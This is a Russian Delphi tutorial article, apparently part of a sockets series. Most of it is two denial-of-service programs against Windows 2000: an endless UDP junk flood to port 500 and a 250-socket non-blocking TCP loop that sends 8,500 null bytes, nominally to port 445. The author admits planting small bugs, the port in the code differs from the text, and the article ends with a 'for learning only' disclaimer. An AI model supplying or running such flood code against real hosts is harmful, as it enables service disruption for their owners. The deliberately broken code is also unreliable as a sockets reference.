Сидит компания инетчиков в кафешке, пиво пьют, отдыхают. Тут один шутит. Все молчат. Минуту молчат, две, три, не шевелясь. Наконец один из них смеется.
- Ты чего так долго молчал? - спрашивает рассказчик.
- Да коннект плохой, наладить не мог...
Удаленный отказ работы
Рассмотрим пример 2 дырок в win2k. Описание можно взять на DoS против Microsoft Windows 2000 и DoS против Microsoft Windows 2000 Internet Key Exchange. В код будут добавленны небольшие преднамеренные ошибки (на всякий случай), но после внимательного прочтения статей, проблем с этим быть не должно. Рассмотрим сначала вторую уязвимость и напишем "клиент" на блокирующем сокете. Порт - 500, UDP. Будут использованы функции из первой и второй статей. Вот исходники на Delphi:
program IKE_attack;
uses
WinSock;
const MyComp = 'ADDRESS';
var
wsadata : TWSAData;
sin: TSockAddrIn;
sock: TSocket;
I : Cardinal;
Buf : string;
begin
WSAStartUp(257, wsadata);
// Инициализируем сокет для соединения с удаленным компьютером по UDP// Протокол - UDP, отправка данных - SOCK_DGRAM
sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sin.sin_family := AF_INET;
// Порт - 500
sin.sin_port := htons(500);
// Преобразуем адрес в четырехбайтное число с помощью функции,// рассмотреной в первой статье
sin.sin_addr.S_addr:=d_addr(MyComp);
// Соединение
I:=connect(sock,sin,sizeof(sin));
// если нельзя соединиться - выходif I<=0 then
halt(1);
// Формирование мусора для отсылки
Buf:='';
for I:=1 to 1024 do
Buf:=Buf+chr(30+round(60));
// Посылка мусора с помощью функции,
рассмотренной во второй статье
while true do
DTrsend(Buf,1024,sock);
end.
Все просто. Инициализируем сокет для UDP, соединяемся и отправляем на 500 порт мусор, длинной 1024 байта. Теперь рассмотрим первую уязвимость и напишем "клиента", с использованием неблокирующих сокетов. Соединение - TCP, порт - 445. Будем использовать 250 синхронных сокетов, которые будут инициализироваться, соединяться и посылать буфер из 8500 нулевых символов. Как и в предыдущем примере, выход из программы написать в лом и программу придется, если что, прерывать через TaskManager. Исходя из теории в предыдущих статьях, нам потребуется массив из 250 сокетов и массив, в котором мы будем хранить флаги. Флаги нам нужны для линейной работы сокета. В данном конкретном случае, нужно 3 флага - сокет закрыт, идет соединение, соединение произошло - нужно отправить буфер данных и поставить флаг "сокет закрыт". В цикле идет постоянный опрос по select - в каком состоянии находится сокет с последующей установкой соответствующих флагов и выполнением неблокирующих операций сокетов. Рассмотрим для простоты на одном сокете. Идет инициализация, переход в неблокирующий режим, запуск connect на соединение и установка флага "сокет соединяется". Если по select получили, что уже соединились и можно отправить данные, то происходит установка флага "сокет соединился". В цикле, если встречается флаг "сокет соединился", то происходит отправка данных, установка флага "сокет закрыт" и закрытие сокета. ВНИМАНИЕ!!! Перед закрытием, сокет необходимо перевести в блокирующий режим. Вот исходники на Delphi с подробными комментариями:
program port445TCP;
uses
WinSock;
const
maxproccess=250; // Количество процессов// Флаги
CLOSE_SOCK=0;
CONNECTING_SOCK=1;//
CONNECTED_SOCK=2; //// Таймаут
TIME_OUT=10;
var// Массив сокетов
sock : array [1..maxproccess] of TSocket;
// Массив флагов
stat : array [1..maxproccess] of Byte;
time : array [1..maxproccess] of Byte;
wsa:WSAData;
addr : Tsockaddr;
x : integer;
// Сигнал блокировки сокета
on_sock : LongInt = 1;
off_sock : LongInt = 0;
wfds_empty : Boolean;
wfds : Tfdset;
tv : Ttimeval;
buf : array[1..8500] of char;
begin// Обнулим буфер отправки
FillChar(Buf,8500,0);
WSAStartup($101,wsa);
// Начальная установка флаговfor x:=1 to maxproccess do
stat[x]:=CLOSE_SOCK;
>repeat // бесконечный цикл
// Инициализация сокетовfor x:=1 to maxproccess dobegin// Если сокет свободенif stat[x]=CLOSE_SOCK thenbegin
sock[x]:=socket(AF_INET,SOCK_STREAM,0);
time[x]:=TIME_OUT;
// ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
ioctlsocket(sock[x],FIONBIO,on_sock);
addr.sin_family:=AF_INET;
// Порт
addr.sin_port:=htons(455);
// Здесь необходимо указать адрес и используется функция// преобразования адреса из первой статьи
addr.sin_addr.s_addr:=d_addr('ADDRESS');
// Неблокирующее соединение
connect(sock[x],addr,sizeof(addr));
stat[x]:=CONNECTING_SOCK;
end;
end;
// Использование макросов FD_ для установок и проверки// нужно ли делать select
FD_ZERO(wfds);
wfds_empty:=true;
for x:=1 to maxproccess dobeginif stat[x]=CONNECTING_SOCK thenbegin
FD_SET(sock[x],wfds);
wfds_empty:=false;
end;
end;
// select-ируем сокеты с флагом "сокет соединяется",// с установкой таймаута и проверкой на// возможность отсылки данныхifnot wfds_empty thenbegin
tv.tv_sec:=1;
tv.tv_usec:=0;
select(0,nil,@wfds,nil,@tv);
end;
// Проверка тайм-аутаfor x:=1 to maxproccess dobeginif stat[x]<>CLOSE_SOCK thenbegin
dec(time[x]);
// Если время на соединение истекло -// закрываем сокет с установкой флагаif time[x]=0 thenbegin
stat[x]:=CLOSE_SOCK;
// ВНИМАНИЕ!!! Перевод сокета в блокирующий режим// перед закрытием
ioctlsocket(sock[x],FIONBIO,off_sock);
closesocket(sock[x]);
end;
end;
// Проверка на соединение (соединились ли уже)if stat[x]=CONNECTING_SOCK thenbegin// Если соединение уже произошло и можно отправлять данные -// установим флагif FD_ISSET(sock[x],wfds) then
stat[x]:=CONNECTED_SOCK;
end;
// Проверка на возможность отправкиif stat[x]=CONNECTED_SOCK thenbegin
FD_CLR(sock[x],wfds); // обнулим буфер сокета
send(sock[x],buf[1],8500,0);
// Отправка данных и закрытие сокета
stat[x]:=CLOSE_SOCK;
// ВНИМАНИЕ!!! Перевод сокета в блокирующий режим// перед закрытием
ioctlsocket(sock[x],FIONBIO,off_sock);
closesocket(sock[x]);
end;
end;
until
false;
end.
Это самый простейший пример - только отправка. Для использования приема, необходимо подключить большее количество флагов и второй параметр select. В этом коде также нет проверки ошибок, но дописать код - это уже детали. Не хотелось излишне загромождать исходники.
Клиент на синхронном сокетном движке
Более подробную информацию о неблокирующих сокетах и разных примерах их использования, можно получить посмотрев исходники моей программы "DScan" v.1.3. Для создания сокетного движка использовались неблокирующие сокеты, работающие на отдельных потоках для каждого сервиса программы. По программе "DScan" версий 1.2 и 1.3, можно оценить скорость и устойчивость двух разных подходов к программированию сокетных движков. Теоретически, преимущества и недостатки я рассматривал в предыдущих статьях
В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к "синему экрану".
P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
Сокеты 3 (Кодинг неблокирующих сокетов): пример использования неблокирующих сокетов для создания клиента, который отправляет на сервер 250 синхронных сокетов, содержащих 8,500 нулевых символов.
Комментарии и вопросы
Получайте свежие новости и обновления по Object Pascal, Delphi и Lazarus прямо в свой смартфон. Подпишитесь на наш Telegram-канал delphi_kansoftware и будьте в курсе последних тенденций в разработке под Linux, Windows, Android и iOS